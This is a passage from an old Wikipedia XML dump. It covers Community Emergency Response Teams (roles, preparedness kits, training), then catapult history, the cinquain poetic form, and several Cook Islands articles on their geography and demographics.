A [[local government]], usually a city, attempts to recruit a CERT in each neighborhood. Most governments with CERTs maintain a full-time community-service person as liaison to the volunteers who form the rest of the organization.

CERTs provide their own personnel, supplies, tools, organization and equipment, but they are activated by, trained by, promoted by and liaise with the government.  They are temporary volunteer government workers, usually organized as auxiliaries to the fire department.  In some areas, (such as [[California]]) during declared disasters, registered, activated CERT members are eligible for worker's compensation for on-the-job injuries.

The Federal Emergency Managment Agency (FEMA) reccomends that the standard, ten-person team be comprised as follows:
* Team Leader. (1 person) 
* Fire Suppression Team (2 people) 
* Search and Rescue Team (2 people) 
* Medical Triage Team (2 people) 
* Medical Treatment Team (2 people)
 
The city directly liaises with the neighborhood CERT team leader through the CERT's organic communication team.  In wealthy areas the communications may be by amateur radio, or dedicated telephone or fire-alarm networks.  In poor areas, relays of bicycle-equipped runners can effectively carry mail between the teams and the city's emergency operations center.

==CERT Team Member Roles ==
* '''CERT Team Leader.''' If there is only one CERT team on-scene, is also the Incident Commander until the arrival of competent authority. Makes initial assessment of the scene and determines appropriate course of action for team members; checks team members prior to deployment to ensure they are safe and equipped for the operation; determines safe or unsafe working environment; assigns team member roles if not already assigned; designates triage area, treatment area, morgue, and vehicle traffic routes; coordinates and directs team operations; determines logistical needs (water, food, medical supplies, transportation, equipment, etc.) and determines ways to meet those needs through team members or citizen volunteers on the scene; collects and writes reports on the operation and victims; ensures team accountability; communicates and coordinates with the Incident Commander. 

* '''Fire Suppression Team (2).''' Work under the supervision of the Team Leader to suppress small fires in designated work areas or as needed; when not accomplishing their primary mission, assist the search and rescue team or triage team; assist in evacuation and transport as needed; assist in the triage or treatment area as needed, other duties as assigned; communicate with Team Leader. 

* '''Search and Rescue Team (2).''' Work under the supervision of the Team Leader, searching for and providing rescue of victims as is prudent under the conditions; when not accomplishing their primary mission, assist the Fire Suppression Team, assist in the triage or treatment area as needed; other duties as assigned; communicate with Team Leader. 

* '''Medical Triage Team (2).''' Work under the supervision of the Team Leader, providing START triage for victims found at the scene; marking victims with category of injury per the standard operating procedures; when not accomplishing their primary mission, assist the Fire Suppression Team if needed, assist the Search and Rescue Team if needed, assist in the Medical Triage Area if needed, assist in the Treatment Area if needed, other duties as assigned; communicate with Team Leader. 

* '''Medical Treatment Team (2).''' Work under the supervision of the Team Leader, providing medical treatment to victims within the scope of their training. This task is normally accomplished in the Treatment Area, however, it may take place in the affected area as well. When not accomplishing their primary mission, assist the Fire Suppression Team as needed, assist the Medical Triage Team as needed; other duties as assigned; communicate with the Team Leader. 

In the short term, CERTs perform data gathering, especially to locate mass-casualties requiring professional response, or situations requiring professional rescues, simple fire-fighting tasks (e.g. small fires, turning off gas), light search and rescue, damage evaluation of structures, [[triage]] and [[first aid]].  In the longer term, CERTs may assist in evacuation residents, or assist with setting up a neighborhood shelter.

==The Community Emergency Response==

===Step 1: Self Rescue===

Each individual reaches into their grab-and-go bag, gets a flashlight, and puts on their shoes.  It's very tempting to check the family first, but glass on the floor can instantly create a casualty if one is bare-foot.

To prevent their injury, children should be trained to wait for a parent unless they see fire or feel heat.  The family should establish an outside meeting place, and evacuation methods from every room.

California's experience with earthquakes suggests that every family member should have a &quot;grab and go&quot; bag, attached to their bed.  It has to be attached to the bed, because in earthquakes (and perhaps other emergencies), bags in closets or under beds were lost when furniture moved and structures failed.  

The bag has to include shoes and a flashlight.  The most common injury in surprise emergencies is a foot injury, when people try to run on broken glass.  The most common problem is a power or lighting failure, and a flashlight is an immense help to self-rescue at night.  

Many people pack an entire personal emergency kit in the grab and go bag, but a shopping bag with shoes and a flashlight is enough to start.

===Step 2: Family Rescue===

Turn off gas only if you suspect a leak (the dials on the meter may be turning rapidly or you may smell the telltale odor of gas). Only your utility company can turn the gas back on once it has been turned off. If you suspect a gas leak, turn off the electricity also to prevent a fire or explosion. Then rescue other family members.  Do not re-enter a burning building.

FEMA advises that families prepare a kit of essential items that they will need to survive for up to 72 hours after an emergency or disaster. The following items are recommended for you kit: 

* Water, one gallon of water per person per day, for drinking and sanitation
* Food, at least a three-day supply of non-perishable food
* Battery-powered radio and a NOAA Weather Radio with tone alert, and extra batteries for      both
* Flashlight and extra batteries
* First Aid kit
* Whistle to signal for help
* Dust mask or cotton t-shirt, to help filter the air
* Moist towelettes for sanitation
* Wrench or pliers to turn off utilities
* Can opener for food (if kit contains canned food)
* Plastic sheeting and duct tape to shelter-in-place
* Unique family needs, such as daily prescription medications, infant formula or diapers, and important family documents
* Garbage bags and plastic ties for personal sanitation
* Emergency reference material such as a first aid book or a print out of this information
* Rain gear
* Mess kits, paper cups, plates and plastic utensils
* Cash or traveler's checks, change
* Paper towels
* Fire Extinguisher
* Tent
* Compass
* Matches in a waterproof container
* Signal flare
* Paper, pencil
* Medicine dropper
* Feminine supplies
* Personal hygiene items
* Disinfectant
* Household chlorine bleach

You should learn where to turn off your home's gas, electric and water service.  If this requires tools, attach them to the service box, or place them in your kit.

[http://www.ready.gov ready.gov] recommends medical supplies for a family, as well as suggestions for storing food.

===Step 3: Neighborhood rescue===

After self-rescue, the neighborhood goes to their team's neighborhood &quot;command post,&quot; established at earlier meetings.  The object is to centralize and prioritize resources.  This one step is the single most powerful act of a CERT.  The CERT command post is always marked by a flag, sign or tabard to help people locate it.

The neighborhood is usually informed about the command post at a neighborhood block party or picnic.

If the teams lack trained staff (likely, as most people are likely to be unorganized volunteers), the leader rips out sections of the notebook acquired during his training, and the teams self-train on-the-spot.  The notebooks include check-lists and procedures.  Literacy is both assumed and essential.

The leader (selected at an earlier meeting) assigns street teams to systematically assess every building in the neighborhood and report back.  Meanwhile, the neighborhood leader assigns people to specialist teams.  Generally, a trained and untrained person, or a fit and unfit person are paired.

When the leader takes charge and a communications person is present, the team reports that it started-up to the city's emergency operations center.  

In a good team, various families have agreed to loan supplies, tools and equipment to the team in an emergency. They bring these to the logistic team, who issues them.  Logistics people also canvass new people for needed tools, food, water, tents, paper, field commodes and other needs listed by the planners.

When the street and block assesments come back, the planners try to track current problems and anticipate future needs so the leader can assign teams well.  Usually the critical planning aid is a couple of greaseboards (which work in rain).  

The assessments include details like addresses of: destroyed buildings, unrescued persons, and hazards, as well as people who need immediate professional care or professional rescues.

===Step 4. Coordination with Regional Authorities===

The CERT team's communicators send a digested summary of damage and critical injuries to the city's (or regional) emergency operations center.  The 5% of rescues that require professional training and equipment are also reported in the summary.  The reports include exact addresses, and damage assesments.

Soon, the CERT begins light rescues, and brings injured people to the first-aid station. Planners track the injuries, especially [[triage]]d injuries requiring immediate professional care.  The communicators inform the city when local rescues are complete, and give an updated summary of severe injuries and damaged buildings. 

At some point, a fire or police team may appear at the command post.  The planners and leader can brief them from the summaries.  This saves professional responders huge amounts of time, and directs them to important problems.

Eventually, the city's emergency operations center tells the CERT where the injured people who need immediate care can be taken.  Note that the regional center can coordinate to balance loading of local hospitals.  The logistics people recruit vehicles, the leader assigns drivers and first-aid people, and the severe injuries are evacuated.  Later, less immediate injuries will be evacuated.

===Step 5.  Local sheltering===

Throughout, the CERT's shelter workers register people and children so family members can find them, and feed and house people and (if possible) pets (in tents, eventually).  As time passes, the communicator passes lists of registrees as desgnated by the emergency operations center.  In most situations, Red Cross or Red Crescent helps family members locate each other.

The CERT team should prepare the shelter area in advance, getting permission to locate an emergency tent city on a school grounds, park, parking lot or other open space.  If most families have tents, a small managed tent community has better access to regional services and security than individual campers.

After some time, the regional EOC may choose to relocate people to a larger, more professionally-managed shelter.  Even in this situation, local CERT shelters can still provide services to people with property, livestock or pets, because these are not usually permitted in large shelters.

The result is not professional, but it's much better than an unorganized mob.

==Training and Organization==

CERT training is easy for government.  The training can be organized as mass-classes using pre-existing training facilities.  Training usually combines expert lecturers, take-home emergency manuals and self-study materials with hands-on classes in small groups with previously-trained CERT volunteers. The result is a very good value for the cost.  

Most effective programs run a program on a very predictable schedule so civilians can locate the training.  For example, one effective format has a four-hour training program on the first Saturday morning of each month.

About 1% of adults will train simply because the training is available.  More will train if the area is prone to periodic disasters, or the government effectively recruits public-service groups and schools.  Civilians are recruited with advertising in schools, businesses, parks, recreation programs, libraries, and open-houses for fire and police departments.

CERT participation becomes much wider if the recruiting and training is made into a social occasion.  One of the best social recruiting methods is to ask trainees to go door-to-door in their neighborhoods.  This mobilizes CERT trainees to establish neighborhood teams. Typically, the volunteer distributes flyers that offer a &quot;yard party&quot; on a patriotic holiday, and then hosts it.  

The classic way to recruit a neighborhood team is to offer food.  Most people will come for the food.  After that, the neighborhood at least knows where to go.  The flyers or pamphlets usually also give the schedules of training sessions.  The social occasion gives people a place to meet and lets interested persons find each other and organize.

The first step of each training meeting is always to register attendees.  A notice and newsletter is mailed or e-mailed to previous attendees to arrive just before the next training session.  The city also uses attendance to certify people, giving the city a database of trained volunteers.

As a last step, before graduating and certifying volunteers that complete the training, the city can run a criminal check on them.  This means that even criminals can train (they need disaster preparation, too!), but the city can avoid depending on them.

During registration, the trainee gets a name tag, with a colored dot, or group number.

As part of registration, the trainee collates a self-training booklet for the class, and adds it to the notebook binder he was requested to bring to each session.  This notebook forms an important resource to help remember procedures in a real disaster.  It also assures that a trainee has an exact record of the areas in which he was trained - many trainees make up missed classes to fill their notebook.

The CERT organization may run a lottery to encourage attendance.  The tickets are given at registration.  The premiums are given after the training, and may include items purchased by the government (tools or supplies) as well as commercial promotional offerings from local businesses, such as free lunches or sample products.

After this, the group splits into parts (assigned by the colored dots on their badges) and trains.  Having several groups permits smaller facilities to be used in rotation with lectures and demonstrations.

Topics for a week-end training session usually include: &quot;need for disaster preparedness&quot;, &quot;fire safety and [[fire extinguisher]] use&quot;, &quot;[[first aid]] and [[triage]]&quot;, &quot;[[cardiopulmonary resuscitation]]&quot;, &quot;logistics and communication&quot;, &quot;sheltering&quot;, &quot;search and rescue&quot;, and &quot;team organization&quot;.

In some areas, auxiliary classes are offered to train communicators, radiological safety officers, shelter cooking and organization, staffing of the emergency operations center, and advanced CPR and first-aid.

After the training, the lots are drawn and the premiums are distributed.

After a trainee graduates and passes the background check, they may get a service uniform, possibly a protective helmet or emergency-colored windbreaker with organizational logos.

More information: [http://www.training.fema.gov/emiweb/CERT/new_CERT/index.htm Starting and Maintaining a CERT Organization: Resource Center.]

==CERT TEAMS==
*[http://www.cert-la.com/links/statelnk.htm Find a nearby CERT Team in the U.S.]
*Chautauqua County Kansas CERT,
*[http://www.hb-cert.org/ Huntington Beach CERT]
*[http://cert.ssar.us Kaufman County CERT, Inc.]
*[http://www.cert-la.com/ Los Angeles CERT]
*[http://www.sfgov.org/site/sfnert_index.asp San Francisco's NERT]
*[http://www.westchicago.org/about/CommunityEmergencyResponse.htm West Chicago]

List your unit here

See also: [[ZAKA]]

==CERT Equipment==
[http://www.armorcertkits.com Armor CERT Kits.]

==External links==
[[Image:EMANZ.gif]] [http://www.emanz.ac.nz Emergency Management Academy of New Zealand] provides training to NZ Community Emergency Response Teams

{{DHS.Gov|sourceURL=http://www.training.fema.gov/emiweb/CERT/}}

[[Category:Amateur radio organizations]]
[[Category:American disaster preparation]]
[[Category:Emergency services]]
[[Category:Voluntary organisations]]</text>
    </revision>
  </page>
  <page>
    <title>Catapult</title>
    <id>7063</id>
    <revision>
      <id>42117762</id>
      <timestamp>2006-03-03T23:04:36Z</timestamp>
      <contributor>
        <username>Spawn Man</username>
        <id>372996</id>
      </contributor>
      <comment>shuffle pics</comment>
      <text xml:space="preserve">[[Image:Replica catapult.jpg|right|thumb|300px|Replica catapult at Château des Baux, France]]
'''Catapults''' are [[siege engine]]s using an arm to hurl a [[projectile]] a great distance.  Any machine that hurls an object can be considered a catapult, but the term is generally understood to mean [[medieval]] siege weapons.  

The name is derived from the [[Greek language|Greek]] &amp;#954;&amp;#945;&amp;#964;&amp;#945; (against) and &amp;#960;&amp;#945;&amp;#955;&amp;#955;&amp;#949;&amp;#953;&amp;#947;(to hurl (a missile)).  Originally, &quot;catapult&quot; referred to a dart-thrower, while &quot;[[ballista]]&quot; referred to a stone-thrower, but over the years, the two terms have swapped meaning.

Catapults were usually assembled at the site of a [[siege]], and an army carried few or no pieces of it with them because wood was easily available on site.

==Types==
Catapults can be classified according to the [[physics|physical]] concept used to store and release the [[energy]] required to propel the projectile.   

The first catapult distinct from hand-held launchers (bows, crossbows, slings etc.) was the Greek gastrophetes, a crossbow so large it was braced against the abdomen rather than being held in the hand, hence the nickname belly-bow. The next step from this was a larger form a crossbow mounted on a stand,  including early versions of the oxybeles (Greek for bolt shooter) and the [[ballista]] (the Roman version of the oxybeles). The arbalette à tour is a medieval version of the stand-mounted crossbow. These catapults are [[tension]]al, in that the energy is stored as tension and compression of the bow. Although similar to a crossbow, a sling on the end of the rope meant these weapons could be used for firing all sorts of projectiles, from rocks to pots of [[Greek fire]].

Subsequently, [[torsion (mechanics)|torsional]] catapults were developed: those with two torsion powered arms, the later versions of the ballista and oxybeles, and those with one torsion powered arm, the [[onager (siege weapon)|onager]], known in medieval times as the [[mangonel]].  The bottom end of the throwing arm of the onager and the inner ends of both ballista arms are inserted into rope or fibers that are twisted, providing a torsional store of energy. Torsional ballistas were operationally equivalent to their tensional cousins, except the torsional energy store gave greater power. Onagers have an arm with a bucket, cup, or most often a [[sling (weapon)|sling]] to hold the projectile at one end.  

Finally, the last type of catapult is a [[trebuchet]], which uses [[gravity]] or traction rather than tension or torsion to propel the throwing arm.  A falling [[counterweight]] or the effort of the operator(s) pulls down the bottom end of the arm and the projectile is thrown from a sling attached to a rope hanging from the top end of the arm, essentially like a [[sling (weapon)|sling]] attached to a giant [[see-saw]]. The counterweight is much heavier than the projectile.

==History==
[[Image:French grenade catapult.jpg|right|thumb|300px|French troops using a catapult to throw [[hand grenade]]s during [[World War I]].]]
In Europe, the first catapults appeared in later [[Greece|Greek]] times ([[400 BC]]-[[300 BC]]), early adopters being [[Dionysius of Syracuse]] and [[Onomarchus of Phocis]].  [[Alexander the Great]] introduced the idea of using them to provide cover on the battlefield in addition to using them during sieges.  

Catapults were more fully developed in [[Roman Empire|Roman]] and [[Middle Ages|Medieval]] times, with the [[trebuchet]] being introduced a relatively short time before the advent of [[gunpowder]], which made the catapult obsolete. [[Cannon]]s replaced catapults as the standard siege weapon in Europe in the [[14th century]].

During medieval times, catapults and related siege machines were the first weapons used for biological warfare.  The carcasses of diseased animals and those who had perished from the Black Death or other diseases were loaded up and then thrown over the castle's walls to infect those barricaded inside. There have even been recorded instances of [[beehive (beekeeping)|beehives]] catapulted over [[castle]] walls.

The last use of catapults in warfare was during the [[trench warfare]] of the [[World War I]]. During the early stages of the war, catapults were used to throw [[hand grenade]]s across [[no man's land]] into enemy trenches.

==Chinese siege warfare==

'''Chinese Siege Warfare: Mechanical Artillery &amp; Siege Weapons of Antiquity''' - An Illustrated History http://authors.history-forum.com/liang_jieming/chinesesiegewarfare

==See also==
*[[Medieval siege weaponry]]
*[[Slingshot]]
*[[Aircraft catapult]]
*[[Mass driver]]

==External links==
*[http://www.sunward1.com/woodkits.htm Sunward Aerospace], feature a working Catapult Model Kit
*[http://www.redstoneprojects.com/trebuchetstore/build_a_catapult.html Catapult Plans and Design]
*[http://www.medieval-castle-siege-weapons.com/medieval-catapults.html Medieval Catapult Articles]
*[http://www.medieval-castles.org/uses/medieval_catapults.htm Information about a Medieval Catapult]

==References==
Catapult. ''The Compact Edition of the Oxford English Dictionary'' (1971)

&lt;!--Categories--&gt;
[[Category:Siege engines]]
[[Category:Ancient Roman military technology]]

&lt;!--Interwiki--&gt;
[[de:Katapult]]
[[es:Catapulta]]
[[fr:Catapulte]]
[[it:Catapulta]]
[[he:&amp;#1511;&amp;#1496;&amp;#1508;&amp;#1493;&amp;#1500;&amp;#1496;&amp;#1492;]]
[[nl:katapult]]
[[no:Katapult]]
[[pl:Katapulta]]
[[pt:Catapulta]]
[[zh:投石车]]</text>
    </revision>
  </page>
  <page>
    <title>Cinquain</title>
    <id>7066</id>
    <revision>
      <id>19617586</id>
      <timestamp>2005-07-26T03:08:35Z</timestamp>
      <contributor>
        <username>Yossarian</username>
        <id>65633</id>
      </contributor>
      <minor />
      <comment>link to Crapsey</comment>
      <text xml:space="preserve">In [[poetry]], a '''cinquain''' or '''quintain''' is a five line [[stanza]], varied in [[rhyme]] and line, usually with the [[rhyme scheme]] ababb. An example of cinquain is the following stanza from [[Robert Browning]]'s poem &quot;Porphyria's Lover&quot;:

 Murmuring how she loved me -- she
 Too weak, for all her heart's endeavour,
 To set its struggling passion free
 From pride, and vainer ties dissever,
 And give herself to me for ever.

'''Cinquain''' also has a more specialized meaning. Under the influence of [[Japanese poetry]], the American poet [[Adelaide Crapsey]] developed a poetic form she also called a &quot;cinquain&quot;. Hers is a short, unrhymed poem of twenty-two syllables, five lines of 2, 4, 6, 8, 2 syllables respectively.

Her cinquains were published posthumously in [[1915]] in her ''The Complete Poems''. Cinquains became better known through the work of [[Carl Sandburg]] (''Cornhuskers'', 1918) and [[Louis Utermeyer]] (''Modern American Poetry'', 1919). Here is the Crapsey cinquain &quot;Triad&quot;:

 These be
 Three silent things:
 The falling snow... the hour
 Before the dawn... the mouth of one
 Just dead.

== External links ==

* [http://www.amaze-cinquain.com Amaze-Cinquain], an online journal of the cinquain form

[[Category:Poetic form]]</text>
    </revision>
  </page>
  <page>
    <title>Cook Islands</title>
    <id>7067</id>
    <revision>
      <id>41952649</id>
      <timestamp>2006-03-02T21:18:05Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>English measurements per [[WP:MOSNUM]] and formating</comment>
      <text xml:space="preserve">: ''See [[Cook Island]] for individual islands of that name.''

{| border=1 cellpadding=4 cellspacing=0 class=&quot;toccolours&quot; style=&quot;float: right; width: 300px; clear: both; margin: 0.5em 0 1em 1em; border-style: solid; border: 1px solid #7f7f7f; border-right-width: 2px; border-bottom-width: 2px; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Cook Islands'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background: #ffffff;&quot; align=center colspan=2 |
 {| border=0 cellpadding=2 cellspacing=0
 | width=140 align=center | [[Image:Flag of the Cook Islands.svg|125px|]]
 | width=140 align=center | [[Image:Cook islands coa.png|100px]]
 |-
 | width=140 align=center valign=top | [[Flag of the Cook Islands|Flag&lt;br/&gt;of the Cook Islands]]
 | width=140 align=center valign=top | [[Coat of Arms of the Cook Islands|Coat of Arms&lt;br/&gt;of the Cook Islands]]
 |}
|- style=&quot;border-top: 2px solid gray;&quot;
| '''[[Official Language]]'''
| [[English language|English]],  [[Cook Islands Maori]]
|-
| '''[[Capital]]'''
| [[Avarua]]
|-
| '''[[Head of State]]'''
| [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] (as Queen in right of New Zealand)
|-
| '''[[Queen's Representative]]'''
| Sir [[Frederick Goodwin|Frederick Goodwin]] [[KBE]]
|-
| '''[[Prime Minister of the Cook Islands|Prime Minister]]'''
| [[Jim Marurai]]
|-
| '''[[Area]]'''
| 240 km² (92.7 sq. mi)
|-
| '''[[Population]]''' (July 2005 Estimate)
| 21,388
|-
| '''[[Independence]]'''&lt;br/&gt;&amp;nbsp;– Date
| None (the Cook Islands is not independent); became self-governing in free association with [[New Zealand]] [[August 4]], [[1965]].
|-
| '''[[National anthem]]'''
| ''Te Atua Mou E'' (God is Truth)
|-
| '''[[Currency]]'''
| [[New Zealand dollar]] (NZD). Also, have local $5, $2 and $1 coins that can't be used elsewhere.
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] -10
|-
| '''[[List of country calling codes|Calling Code]]'''
| 682
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.ck]]
|-
| colspan=2 align=center | [[Image:Cw-map.gif|292px]]
|-
| colspan=2 align=center | Map of The Cook Islands
|-
| colspan=2 align=center | [[Image:Cookislands_church.jpg|292px]]
|-
| colspan=2 align=center | The Matavera Christian Church in [[Rarotonga]]
|}

The '''Cook Islands''' (''Cook Islands Maori'' : '''Kuki Airani''') are a self-governing parliamentary democracy in [[Associated State|free association]] with [[New Zealand]].  The 15 small islands in this [[Pacific Ocean|South Pacific Ocean]] have a total land area of 240 [[square kilometre]]s (92.7&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]).  

[[Tourism]] is the country's number one industry, the leading element of the [[economy of the Cook Islands|economy]], far ahead of offshore banking, pearls, marine and fruit exports. A popular art form on the islands is [[tivaivai]], often likened to [[quilting]].

Defence is the responsibility of [[New Zealand]], in consultation with the Cook Islands and at its request. The Cook Islands has adopted an increasingly independent foreign policy, particularly after the adoption of an [[isolationism|isolationist]] and [[non-aligned]] policy by [[New Zealand]] in the 1980s.

==Geography==
[[Geography of the Cook Islands]]
*High Cook Islands
**[[Aitutaki]]
**[[Atiu]] (Enua-Manu or Island of Birds)
**[[Mauke]]
**[[Rarotonga]] (capital)
**[[Mangaia]]
*Low islands of the Southern group
**[[Manuae]]
**[[Takutea]]
**[[Mitiaro]]
;Northern Cook Islands
*[[Penrhyn Island]] also known as Tongareva 
*[[Rakahanga]] 
*[[Manihiki]]
*[[Pukapuka]] 
*[[Nassau (Cook Islands)|Nassau]]
*[[Suwarrow]] also called Suvorov
*[[Palmerston Island]]

==History==

On June 11, 1980, the USA signed a treaty with New Zealand specifiying the maritime border between the Cook Islands and American Samoa and also relinquishing its claim to the islands of Penrhyn, Pukapuka (Danger), Manihiki, and Rakahanga.

==Culture==
''See also:'' [[music of the Cook Islands]]

{| border=1 cellpadding=4 cellspacing=0 class=&quot;toccolours&quot; style=&quot;align: left; margin: 0.5em 0 0 0; border-style: solid; border: 1px solid #7f7f7f; border-right-width: 2px; border-bottom-width:2px; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Holidays'''&lt;/big&gt;
|-
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | Date
! style=&quot;background: #efefef; border-bottom: 2px solid gray;&quot; | Name
|-
| [[January 1]]
| [[New Year's Day]]
|-
| [[January 2]]
| Day after [[New Year's Day]]
|-
| The Friday before [[Easter Sunday]]
| [[Good Friday]]
|-
| The Day after [[Easter Sunday]]
| [[Easter Monday]]
|-
| [[April 25]]
| [[ANZAC Day]]
|-
| The First Monday in June
| [[Queen's Birthday]]
|-
| July
| Rarotonga Gospel Day
|-
| [[August 4]]
| Constitution Day
|-
| [[October 26]]
| Gospel Day
|-
| [[December 25]]
| [[Christmas]]
|-
| [[December 26]]
| [[Boxing Day]]
|}
&lt;br clear=all/&gt;

==See also==
* [[Communications in the Cook Islands]]''
* [[Demographics of the Cook Islands]]
* [[Economy of the Cook Islands]]
* [[Polynesian culture]]
* [[History of the Cook Islands]]
* [[Politics of the Cook Islands]]
* [[Transport in the Cook Islands]]''

==External links==
*[http://www.cook-islands.gov.ck/ Cook Islands Government]
*[http://www.cook-islands.com/ Cook Islands Tourism Corporation]
*[http://www.ck Cook Islands, the best kept secret in the Pacific Ocean]
*[http://www.ck/govt.htm Cook Islands Government (summary)]
*[http://www.southpacific.org/text/finding_cooks.html Finding Cook Islands]
*[http://www.janeresture.com/cookislands/index.htm Jane's Cook Islands Home Page]
*[http://www.kiaorana.com KiaOrana.com — Cook Islands information with images and maps]
*[http://www.mapsouthpacific.com/cook_islands/index.html Map of the Cook Islands]
*[http://www.cia.gov/cia/publications/factbook/geos/cw.html World Factbook entry on The Cook Islands]
*[http://www.environment.org.ck/ Cook Islands National Environment Service]
*[http://cookislands.bishopmuseum.org/ Cook Islands Biodiversity Database]

{{New Zealand}}
{{Polynesia}}
{{Pacific Islands}}

[[Category:British colonies]]
[[Category:Cook Islands| ]]
[[Category:Freely associated states]]
[[Category:New Zealand-Pacific relations]]
[[Category:Polynesia]]
[[Category:Archipelagoes]]

[[bg:Острови Кук]]
[[zh-min-nan:Cook Kûn-tó]]
[[ca:Illes Cook]]
[[cs:Cookovy ostrovy]]
[[da:Cook-øerne]]
[[de:Cookinseln]]
[[es:Islas Cook]]
[[eo:Kukinsuloj]]
[[fr:Îles Cook]]
[[ko:쿡 제도]]
[[hr:Kukovi otoci]]
[[id:Kepulauan Cook]]
[[is:Cooks-eyjar]]
[[it:Isole Cook]]
[[he:איי קוק]]
[[lt:Kuko salos]]
[[hu:Cook-szigetek]]
[[ms:Kepulauan Cook]]
[[nl:Cookeilanden]]
[[ja:クック諸島]]
[[no:Cookøyene]]
[[pl:Wyspy Cooka]]
[[pt:Ilhas Cook]]
[[ru:Острова Кука]]
[[sl:Cookovi otoki]]
[[fi:Cookinsaaret]]
[[sv:Cooköarna]]
[[tr:Cook Adaları]]
[[zh:库克群岛]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Cook Islands</title>
    <id>7068</id>
    <revision>
      <id>39353773</id>
      <timestamp>2006-02-12T16:24:13Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|History of}}</comment>
      <text xml:space="preserve">Named after [[James Cook|Captain Cook]], who sighted them in [[1770]], the [[Cook Islands]] became a British [[protectorate]] in [[1888]].

By [[1900]], administrative control was transferred to [[New Zealand]]; in [[1965]] residents chose self-government in free association with New Zealand.

The emigration of skilled workers to New Zealand and government deficits are continuing problems.

The Cook Islands has fifteen islands in the group spread over a vast area in the South Pacific. The majority of islands are low coral atolls in Northern Group, with Rarotonga, a volcanic island in the Southern Group, as the main administration and government  centre. The main Cook Islands language is Rarotongan Maori. There are some variations in dialect in the 'outer' islands.

{{Oceania in topic|History of}}

[[Category:Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Cook Islands</title>
    <id>7069</id>
    <revision>
      <id>31727631</id>
      <timestamp>2005-12-17T13:16:40Z</timestamp>
      <contributor>
        <username>Alfanje</username>
        <id>120539</id>
      </contributor>
      <minor />
      <comment>+es</comment>
      <text xml:space="preserve">The '''[[Cook Islands]]''' can be divided into two groups.
 
==Southern Cook Islands==
*[[Aitutaki]]
*[[Atiu]]
*[[Mangaia]]
*[[Manuae]]
*[[Mauke]]
*[[Mitiaro]]
*[[Palmerston Island]]
*[[Rarotonga]] (capital)
*[[Takutea]]

==Northern Cook Islands==
*[[Manihiki]]
*[[Nassau (Cook Islands)|Nassau]]
*[[Penrhyn Island]] also known as Tongareva or Mangarongaro
*[[Pukapuka]] 
*[[Rakahanga]] 
*[[Suwarrow]]

==Location==
[[Oceania]], group of islands in the South [[Pacific Ocean]], about one-half of the way from [[Hawaii]] to [[New Zealand]]

==Geography==
; [[Geographic coordinates]]:
: {{coor dm|21|14|S|159|46|W|type:country}}
; Map references:
: Oceania
; Area:
:* Total: 240 km&amp;sup2;
:* Land: [[1 E8 m²|240 km&amp;sup2;]]
:* Water: 0 km&amp;sup2;
; Area - comparative:
: 1.3 times the size of Washington, DC
; Land boundaries:
: 0 km
; Coastline:
: 120 km
; Maritime claims:
:* Continental shelf: 200 nm or to the edge of the continental margin
:* Exclusive economic zone: 200 nm
:* Territorial sea: 12 nm
; Climate:
: Tropical; moderated by trade winds
; Terrain:
: Low coral atolls in north; volcanic, hilly islands in south
; Elevation extremes:
:* Lowest point: Pacific Ocean 0 m
:* Highest point: Te Manga 652 m
; Natural resources:
: NEGL
; Land use:
:* Arable land: 9%
:* Permanent crops: 13%
:* Permanent pastures: 0%
:* Forests and woodland: 0%
:* Other: 78% (1993 est.)
; Irrigated land:
: NA km&amp;sup2;
; Natural hazards:
: Typhoons (November to March)
; Environment - current issues:
: NA
; Environment - international agreements:
:* Party to: Biodiversity, Climate Change, Desertification, Law of the Sea
:* Signed, but not ratified: Climate Change-Kyoto Protocol

See also: [[Cook Islands]]

[[Category:Cook Islands]]
[[Category:Geography by country|Cook Islands]]

[[es:Geografía de las Islas Cook]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Cook Islands</title>
    <id>7070</id>
    <revision>
      <id>15905162</id>
      <timestamp>2005-02-13T12:31:58Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <text xml:space="preserve">This article lists details about the '''[[demographics]] of the [[Cook Islands]]'''.

; [[Population]]:
: 20,407 (July 2000 est.)
; Age structure:
:* 0-14 years: NA
:* 15-64 years: NA
:* 65 years and over: NA
; Population growth rate:
: 1.6% (2000 est.)
; [[Birth rate]]:
: 22.18 births/1,000 population (2000 est.)
; [[Death]] rate:
: 5.2 deaths/1,000 population (2000 est.)
; Net [[migration]] rate:
: -0.99 migrant(s)/1,000 population (2000 est.)
; [[Infant mortality]] rate:
: 24.7 deaths/1,000 live births (2000 est.)
; [[Life expectancy]] at birth:
:* Total population: 71.14 years
:* Male: 69.2 years
:* Female: 73.1 years (2000 est.)
; Total [[fertility]] rate:
: 3.14 children born/woman (2000 est.)
; [[Nationality]]:
:* Noun: Cook Islander(s)
:* Adjective: Cook Islander
; [[Ethnic groups]]:
: [[Polynesia]]n (full blood) 81.3%, Polynesian and [[Europe]]an 7.7%, Polynesian and non-European 7.7%, European 2.4%, other 0.9%
; [[Religion]]s:
: [[Christianity|Christian]] (majority of populace are members of the [[Cook Islands Christian Church]])
; [[Language]]s:
: [[English language|English]] (official), [[Rarotongan language|Rarotongan]], [[Tongarevan language|Tongarevan (Penrhyn)]], [[Rakahiki|Rakahanga-Manihiki]], [[Pukapukan language]]
; Literacy:
:* Definition: NA
:* Total population: NA%
:* Male: NA%
:* Female: NA%

See also: [[Cook Islands]]

[[Category:Cook Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Cook Islands</title>
    <id>7071</id>
    <revision>
      <id>39337445</id>
      <timestamp>2006-02-12T13:07:54Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Oceania in topic|Politics of}}</comment>
      <text xml:space="preserve">{{Politics of the Cook Islands}}
